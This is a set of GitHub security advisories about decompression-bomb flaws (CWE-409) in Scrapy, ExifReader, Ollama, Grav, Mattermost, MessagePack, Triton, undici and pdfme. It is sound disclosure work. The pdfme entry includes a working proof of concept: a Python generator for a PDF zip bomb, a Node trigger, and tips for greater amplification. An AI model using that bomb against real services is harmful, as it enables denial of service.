CWE-409

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "scrapy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-16T12:42:26Z",
    "nvd_published_at": "2024-04-16T00:15:12Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-7j7m-v7m3-jqm7. This link is maintained to preserve external references.\n\n## Original Description\nThe scrapy/scrapy project is vulnerable to XML External Entity (XXE) attacks due to the use of lxml.etree.fromstring for parsing untrusted XML data without proper validation. This vulnerability allows attackers to perform denial of service attacks, access local files, generate network connections, or circumvent firewalls by submitting specially crafted XML data. ",
  "id": "GHSA-rmqv-7v3j-mr7p",
  "modified": "2024-04-16T14:04:36Z",
  "published": "2024-04-16T00:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3572"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scrapy/scrapy/commit/809bfac4890f75fc73607318a04d2ccba71b3d9f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scrapy/scrapy"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/c4a0fac9-0c5a-4718-9ee4-2d06d58adabb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: Scrapy decompression bomb vulnerability",
  "withdrawn": "2024-04-16T14:04:36Z"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "exifreader"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.20.0"
            },
            {
              "fixed": "4.39.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-8814"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T17:52:26Z",
    "nvd_published_at": "2026-05-19T07:16:30Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nVersions of ExifReader from 4.20.0 through 4.38.1 do not bound the size of decompressed metadata blocks. When a caller invokes the asynchronous API (e.g. `ExifReader.load(file)` or `ExifReader.load(buffer, {async: true})`) on an attacker-supplied image, a small compressed chunk in the file can expand to hundreds of megabytes of memory, consuming heap and CPU until the process slows down or runs out of memory.\n\nThe affected paths share a single decompression utility, so the issue is reachable through any compressed metadata block the library handles asynchronously, including:\n\n- PNG `zTXt`, compressed `iTXt`, and `iCCP` chunks (deflate)\n- JPEG XL Brotli-compressed Exif and XMP blocks\n\nA typical proof of concept produced roughly 1000\u00d7 expansion (for example, ~32 KB of compressed input expanded to ~32 MB of output, ~130 KB to ~128 MB).\n\nBoth the npm package and the `dist/` bundle published from this repository (consumed by Bower and other users of the prebuilt artifact) are affected.\n\n### Patches\n\nFixed in **4.39.0**. The decompression utility now reads the decompressed stream incrementally and aborts as soon as the running total would exceed a configurable limit. The default cap is **128 MiB** per metadata block, which is well above any realistic legitimate value. When a block exceeds the cap, that block is skipped (a warning is emitted via `console.warn`) and the remaining tags are returned as usual.\n\nThe cap is configurable via the new `maxDecompressedSize` field on the `decompress` option, in bytes:\n\n```javascript\nconst tags = await ExifReader.load(file, {\n    async: true,\n    decompress: {\n        maxDecompressedSize: 16 * 1024 * 1024 // 16 MiB\n    }\n});\n```\n\nThe same cap applies to results returned by user-supplied custom `brotli`/`deflate` functions.\n\n### Workarounds\n\n- If upgrading is not possible, avoid invoking the asynchronous API on untrusted inputs. The synchronous code path skips compressed metadata blocks entirely and is not affected. Alternatively, pre-validate input files by source or size before passing them to ExifReader.\n\n### Resources\n\n- Patch: https://github.com/mattiasw/ExifReader/commit/5f116128adc19f674902f8bf582bfe7dd0a36375\n- README \u2014 \"Limiting decompressed metadata size\": https://github.com/mattiasw/ExifReader/blob/main/README.md#limiting-decompressed-metadata-size",
  "id": "GHSA-rr89-w3h9-m66j",
  "modified": "2026-07-17T16:52:29Z",
  "published": "2026-05-29T17:52:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/security/advisories/GHSA-rr89-w3h9-m66j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8814"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mattiasw/ExifReader/commit/5f116128adc19f674902f8bf582bfe7dd0a36375"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattiasw/ExifReader"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/vuln/SNYK-JS-EXIFREADER-16689340"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ExifReader is vulnerable to denial of service via unbounded decompression of image metadata"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/ollama/ollama"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.3.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-12886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-03-21T17:25:07Z",
    "nvd_published_at": "2025-03-20T10:15:31Z",
    "severity": "HIGH"
  },
  "details": "An Out-Of-Memory (OOM) vulnerability exists in the `ollama` server version 0.3.14. This vulnerability can be triggered when a malicious API server responds with a gzip bomb HTTP response, leading to the `ollama` server crashing. The vulnerability is present in the `makeRequestWithRetry` and `getAuthorizationToken` functions, which use `io.ReadAll` to read the response body. This can result in excessive memory usage and a Denial of Service (DoS) condition.",
  "id": "GHSA-v464-r2r9-www7",
  "modified": "2025-03-21T17:25:07Z",
  "published": "2025-03-20T12:32:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12886"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ollama/ollama"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/f115fe52-58af-4844-ad29-b1c25f7245df"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Ollama Vulnerable to Denial of Service (DoS) via Crafted GZIP"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-61449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-15T12:18:19Z",
    "severity": "HIGH"
  },
  "details": "Grav 2.0.1 contains a decompression-bomb size-cap bypass in ZipArchiver and GPM\\Installer. The size bound introduced in 2.0.1 sums the uncompressed size declared in each entry\u0027s ZIP central-directory header (ZipArchive::statIndex()[\u0027size\u0027]) and rejects archives exceeding system.gpm.archive.max_uncompressed_size before extraction. Because this declared size is attacker-forgeable and is not cross-checked against the actual inflated stream, a crafted archive declaring tiny per-entry sizes passes the cap while extractTo() writes the real, much larger content, filling disk or exhausting inodes. The archive must be supplied by a package source or admin upload (admin/operator trust). Fixed in 2.0.2. This is an incomplete fix for GHSA-928x-9mpw-8h56.",
  "id": "GHSA-v626-428r-43p8",
  "modified": "2026-07-15T12:32:04Z",
  "published": "2026-07-15T12:32:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-8h9x-89f2-m7x3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61449"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-decompression-bomb-via-forged-zip-size"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.1.0"
            },
            {
              "fixed": "10.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.0.0"
            },
            {
              "fixed": "10.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.11.0"
            },
            {
              "fixed": "9.11.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.5.0"
            },
            {
              "fixed": "9.5.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-54682"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-16T19:27:16Z",
    "nvd_published_at": "2024-12-16T08:15:05Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost versions 10.1.x \u003c= 10.1.2, 10.0.x \u003c= 10.0.2, 9.11.x \u003c= 9.11.4, 9.5.x \u003c= 9.5.12 fail to limit the file size for slack import file uploads which allows a user to\u00a0cause a DoS via zip bomb by importing data in a team they are a team admin.",
  "id": "GHSA-v647-h8jj-fw5r",
  "modified": "2024-12-16T19:27:16Z",
  "published": "2024-12-16T09:31:10Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-54682"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost Data Amplification vulnerability"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.301"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "MessagePack"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0"
            },
            {
              "fixed": "3.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48510"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-25T18:53:44Z",
    "nvd_published_at": "2026-06-22T22:16:47Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nWhen MessagePack-CSharp decompresses `Lz4Block` or `Lz4BlockArray` payloads, it reads declared uncompressed lengths from the wire and allocates output buffers based on those lengths before validating that the compressed data is valid or that the declared expansion is reasonable.\n\nA small payload can claim a very large uncompressed length and force a large allocation before LZ4 decoding begins.\n\n## Impact\n\nApplications are affected when they deserialize attacker-controlled MessagePack payloads with `MessagePackCompression.Lz4Block` or `MessagePackCompression.Lz4BlockArray` enabled.\n\nIn the `Lz4Block` case, an attacker-controlled integer is used to request the destination span. In the `Lz4BlockArray` case, per-block uncompressed lengths and their aggregate can be attacker-controlled. Without a cap, the declared output size can be disproportionate to the input size, producing out-of-memory exceptions, process termination on constrained hosts, or severe memory pressure.\n\nThis advisory is about unbounded allocation from declared decompressed sizes. It is separate from the LZ4 source-buffer over-read issue, which concerns unsafe decoder reads beyond the compressed input buffer.\n\n## Affected components\n\n- Package: `MessagePack`\n- Feature: LZ4 compressed MessagePack payloads\n- APIs: `MessagePackSerializer` with `WithCompression(MessagePackCompression.Lz4Block)` or `WithCompression(MessagePackCompression.Lz4BlockArray)`\n- Internal routine: `MessagePackSerializer.TryDecompress`\n- Finding ID: `MESSAGEPACKCSHARP-OPEN-004`\n\n## Patches\n\nFixes are prepared and will be released in coordinated patch versions.\n\nUpgrade guidance:\n\n1. Upgrade `MessagePack` to the patched version for your release line.\n2. Upgrade companion MessagePack packages in the same dependency graph to the coordinated patched versions.\n\nThe fix should reject negative and excessive uncompressed lengths before allocation. It should also cap aggregate decompressed size for block arrays and expose or honor an appropriate maximum decompressed length policy.\n\n## Workarounds\n\nPatching is recommended.\n\nUntil a patched version is available, do not enable MessagePack-CSharp\u0027s built-in LZ4 compression modes for untrusted inputs. If compression is required, enforce strict compressed and decompressed size limits outside MessagePack-CSharp before deserialization.\n\n## Resources\n\n- `MESSAGEPACKCSHARP-OPEN-004`: LZ4 decompression allocation from unbounded uncompressed length\n- `MESSAGEPACKCSHARP-011`: duplicate decompression-bomb finding\n- CWE-409: Improper Handling of Highly Compressed Data\n- CWE-770: Allocation of Resources Without Limits or Throttling",
  "id": "GHSA-v72x-2h86-7f8m",
  "modified": "2026-06-25T18:53:44Z",
  "published": "2026-06-25T18:53:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp/security/advisories/GHSA-v72x-2h86-7f8m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48510"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MessagePack-CSharp/MessagePack-CSharp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MessagePack-CSharp: LZ4 decompression allocates from unbounded declared output lengths"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.4.0"
            },
            {
              "fixed": "11.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "11.4.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.3.0"
            },
            {
              "fixed": "11.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.2.0"
            },
            {
              "fixed": "11.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.11.0"
            },
            {
              "fixed": "10.11.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/mattermost/mattermost/server/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.0.0-20260105080200-d27a2195068d"
            },
            {
              "fixed": "8.0.0-20260217110922-b7d4a1f1f59b"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-3114"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-31T23:05:48Z",
    "nvd_published_at": "2026-03-26T17:16:42Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost versions 11.4.x \u003c= 11.4.0, 11.3.x \u003c= 11.3.1, 11.2.x \u003c= 11.2.3, 10.11.x \u003c= 10.11.11 fail to validate decompressed archive entry sizes during file extraction which allows authenticated users with file upload permissions to cause a denial of service via crafted zip archives containing highly compressed entries (zip bombs) that exhaust server memory. Mattermost Advisory ID: MMSA-2026-00598.",
  "id": "GHSA-vhgh-g7x8-4rx8",
  "modified": "2026-03-31T23:05:48Z",
  "published": "2026-03-26T18:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3114"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mattermost/mattermost"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mattermost doesn\u0027t validate decompressed archive entry sizes during file extraction"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-24264"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-01T16:16:45Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA Triton Inference Server for Linux contains a vulnerability where an attacker can cause improper handling of highly compressed data. A successful exploit of this vulnerability might lead to denial of service.",
  "id": "GHSA-vq94-fcwh-99v7",
  "modified": "2026-07-01T18:31:49Z",
  "published": "2026-07-01T18:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24264"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NVIDIA/product-security/tree/main/2026/5848"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24264"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "undici"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.24.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-1526"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-13T20:41:56Z",
    "nvd_published_at": "2026-03-12T21:16:23Z",
    "severity": "HIGH"
  },
  "details": "## Description\n\nThe undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a \"decompression bomb\") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive.\n\nThe vulnerability exists in the `PerMessageDeflate.decompress()` method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold.\n\n## Impact\n\n- Remote denial of service against any Node.js application using undici\u0027s WebSocket client\n- A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more\n- Memory exhaustion occurs in native/external memory, bypassing V8 heap limits\n- No application-level mitigation is possible as decompression occurs before message delivery\n\n### Patches\n\nUsers should upgrade to fixed versions.\n\n### Workarounds\n\nNo workaround are possible.",
  "id": "GHSA-vrm6-8vpv-qv8q",
  "modified": "2026-03-13T20:41:56Z",
  "published": "2026-03-13T20:41:56Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodejs/undici/security/advisories/GHSA-vrm6-8vpv-qv8q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1526"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3481206"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc7692"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodejs/undici"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-community/attacks/Denial_of_Service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Undici has Unbounded Memory Consumption in WebSocket permessage-deflate Decompression"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.5.9"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@pdfme/pdf-lib"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.5.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T20:44:52Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `DecodeStream.ensureBuffer()` method in `@pdfme/pdf-lib` doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.\n\n## Details\n\nThe vulnerability exists in the `DecodeStream` class, which is the base class for all stream decoders including `FlateStream` (DEFLATE/zlib decompression).\n\n**Unbounded buffer growth in `ensureBuffer()`** \u2014 `packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160`:\n\n```typescript\nprotected ensureBuffer(requested: number) {\n  const buffer = this.buffer;\n  if (requested \u003c= buffer.byteLength) {\n    return buffer;\n  }\n  let size = this.minBufferLength;\n  while (size \u003c requested) {\n    size *= 2;  // Doubles with no upper bound\n  }\n  const buffer2 = new Uint8Array(size);  // Allocates without limit\n  buffer2.set(buffer);\n  return (this.buffer = buffer2);\n}\n```\n\nThe `size *= 2` loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.\n\n**Unconditional full decompression in `decode()`** \u2014 `DecodeStream.ts:139-141`:\n\n```typescript\ndecode(): Uint8Array {\n  while (!this.eof) this.readBlock();  // Fully decompresses before returning\n  return this.buffer.subarray(0, this.bufferLength);\n}\n```\n\n**`FlateStream.readBlock()`** calls `ensureBuffer()` repeatedly during decompression \u2014 `packages/pdf-lib/src/core/streams/FlateStream.ts:272-274`:\n\n```typescript\nif (pos + 1 \u003e= limit) {\n  buffer = this.ensureBuffer(pos + 1);\n  limit = buffer.length;\n}\n```\n\nAnd again at line 297-300:\n\n```typescript\nif (pos + len \u003e= limit) {\n  buffer = this.ensureBuffer(pos + len);\n  limit = buffer.length;\n}\n```\n\n**Entry point via `basePdf`** \u2014 `packages/generator/src/helper.ts:42-43`:\n\n```typescript\nconst willLoadPdf = await getB64BasePdf(basePdf);\nconst embedPdf = await PDFDocument.load(willLoadPdf);\n```\n\nThe `basePdf` parameter accepts base64-encoded data, a URL, or raw bytes. When `PDFDocument.load()` parses the PDF, it encounters FlateDecode streams and decompresses them through `FlateStream` \u2192 `DecodeStream` with no size limits.\n\nThe same code path exists in the UI package at `packages/ui/src/helper.ts:292` and `packages/ui/src/hooks.ts:67`.\n\n## PoC\n\n**Step 1: Create a decompression bomb PDF**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Generate a PDF decompression bomb for PoC.\"\"\"\nimport zlib\nimport struct\n\n# Create highly compressible data: 100MB of null bytes\n# compresses to ~100KB (~1000:1 ratio)\nuncompressed = b\u0027\\x00\u0027 * (100 * 1024 * 1024)  # 100 MB\ncompressed = zlib.compress(uncompressed, 9)\n\n# Minimal PDF structure with FlateDecode stream\npdf = b\"\"\"%PDF-1.4\n1 0 obj\n\u003c\u003c /Type /Catalog /Pages 2 0 R \u003e\u003e\nendobj\n\n2 0 obj\n\u003c\u003c /Type /Pages /Kids [3 0 R] /Count 1 \u003e\u003e\nendobj\n\n3 0 obj\n\u003c\u003c /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792]\n   /Contents 4 0 R \u003e\u003e\nendobj\n\n4 0 obj\n\u003c\u003c /Filter /FlateDecode /Length \"\"\" + str(len(compressed)).encode() + b\"\"\" \u003e\u003e\nstream\n\"\"\" + compressed + b\"\"\"\nendstream\nendobj\n\nxref\n0 5\n\"\"\"\n# Write proper xref (simplified for PoC)\nwith open(\"bomb.pdf\", \"wb\") as f:\n    f.write(pdf)\n    f.write(b\"trailer \u003c\u003c /Size 5 /Root 1 0 R \u003e\u003e\\nstartxref\\n0\\n%%EOF\\n\")\n\nprint(f\"Compressed size: {len(compressed)} bytes\")\nprint(f\"Decompressed size: {len(uncompressed)} bytes\")\nprint(f\"Ratio: {len(uncompressed)/len(compressed):.0f}:1\")\n```\n\n**Step 2: Trigger via @pdfme/generator**\n\n```javascript\nconst { generate } = require(\u0027@pdfme/generator\u0027);\nconst fs = require(\u0027fs\u0027);\n\nconst bombPdf = fs.readFileSync(\u0027bomb.pdf\u0027);\n\n// This will cause unbounded memory allocation during PDF parsing\ngenerate({\n  template: {\n    basePdf: bombPdf,  // Attacker-controlled input\n    schemas: [[]],\n  },\n  inputs: [{}],\n  plugins: {},\n}).catch(err =\u003e console.error(\u0027OOM or crash:\u0027, err.message));\n```\n\n**Step 3: Observe memory exhaustion**\n\n```bash\n# Monitor memory usage \u2014 the Node.js process will consume all available memory\n# and either crash with a heap allocation failure or be OOM-killed\nnode --max-old-space-size=512 trigger.js\n# Expected: \"FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory\"\n```\n\nFor higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload.\n\n## Impact\n\n- **Denial of Service**: Any application using `@pdfme/generator` or `@pdfme/ui` that allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab.\n- **Server-side impact**: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable.\n- **Client-side impact**: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process.\n- **No authentication bypass needed**: The attack only requires the ability to supply a `basePdf` value, which is the standard template input parameter \u2014 no elevated privileges are needed.\n\n## Recommended Fix\n\nAdd a maximum decoded size limit to `ensureBuffer()` in `packages/pdf-lib/src/core/streams/DecodeStream.ts`:\n\n```typescript\nconst MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB\n\nclass DecodeStream implements StreamType {\n  // ... existing fields ...\n\n  protected ensureBuffer(requested: number) {\n    const buffer = this.buffer;\n    if (requested \u003c= buffer.byteLength) {\n      return buffer;\n    }\n\n    if (requested \u003e MAX_DECODED_SIZE) {\n      throw new Error(\n        `Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` +\n        `This may indicate a decompression bomb.`\n      );\n    }\n\n    let size = this.minBufferLength;\n    while (size \u003c requested) {\n      size *= 2;\n    }\n\n    // Cap the allocation even if the doubling overshoots\n    if (size \u003e MAX_DECODED_SIZE) {\n      size = MAX_DECODED_SIZE;\n    }\n\n    const buffer2 = new Uint8Array(size);\n    buffer2.set(buffer);\n    return (this.buffer = buffer2);\n  }\n}\n```\n\nOptionally, expose the limit via `PDFDocument.load()` options so consumers can tune it:\n\n```typescript\n// In LoadOptions interface:\ninterface LoadOptions {\n  // ... existing options ...\n  maxDecodedStreamSize?: number; // Default: 100 MB\n}\n```",
  "id": "GHSA-vrqm-gvq7-rrwh",
  "modified": "2026-03-20T20:44:52Z",
  "published": "2026-03-20T20:44:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pdfme/pdfme/security/advisories/GHSA-vrqm-gvq7-rrwh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pdfme/pdfme"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS"
}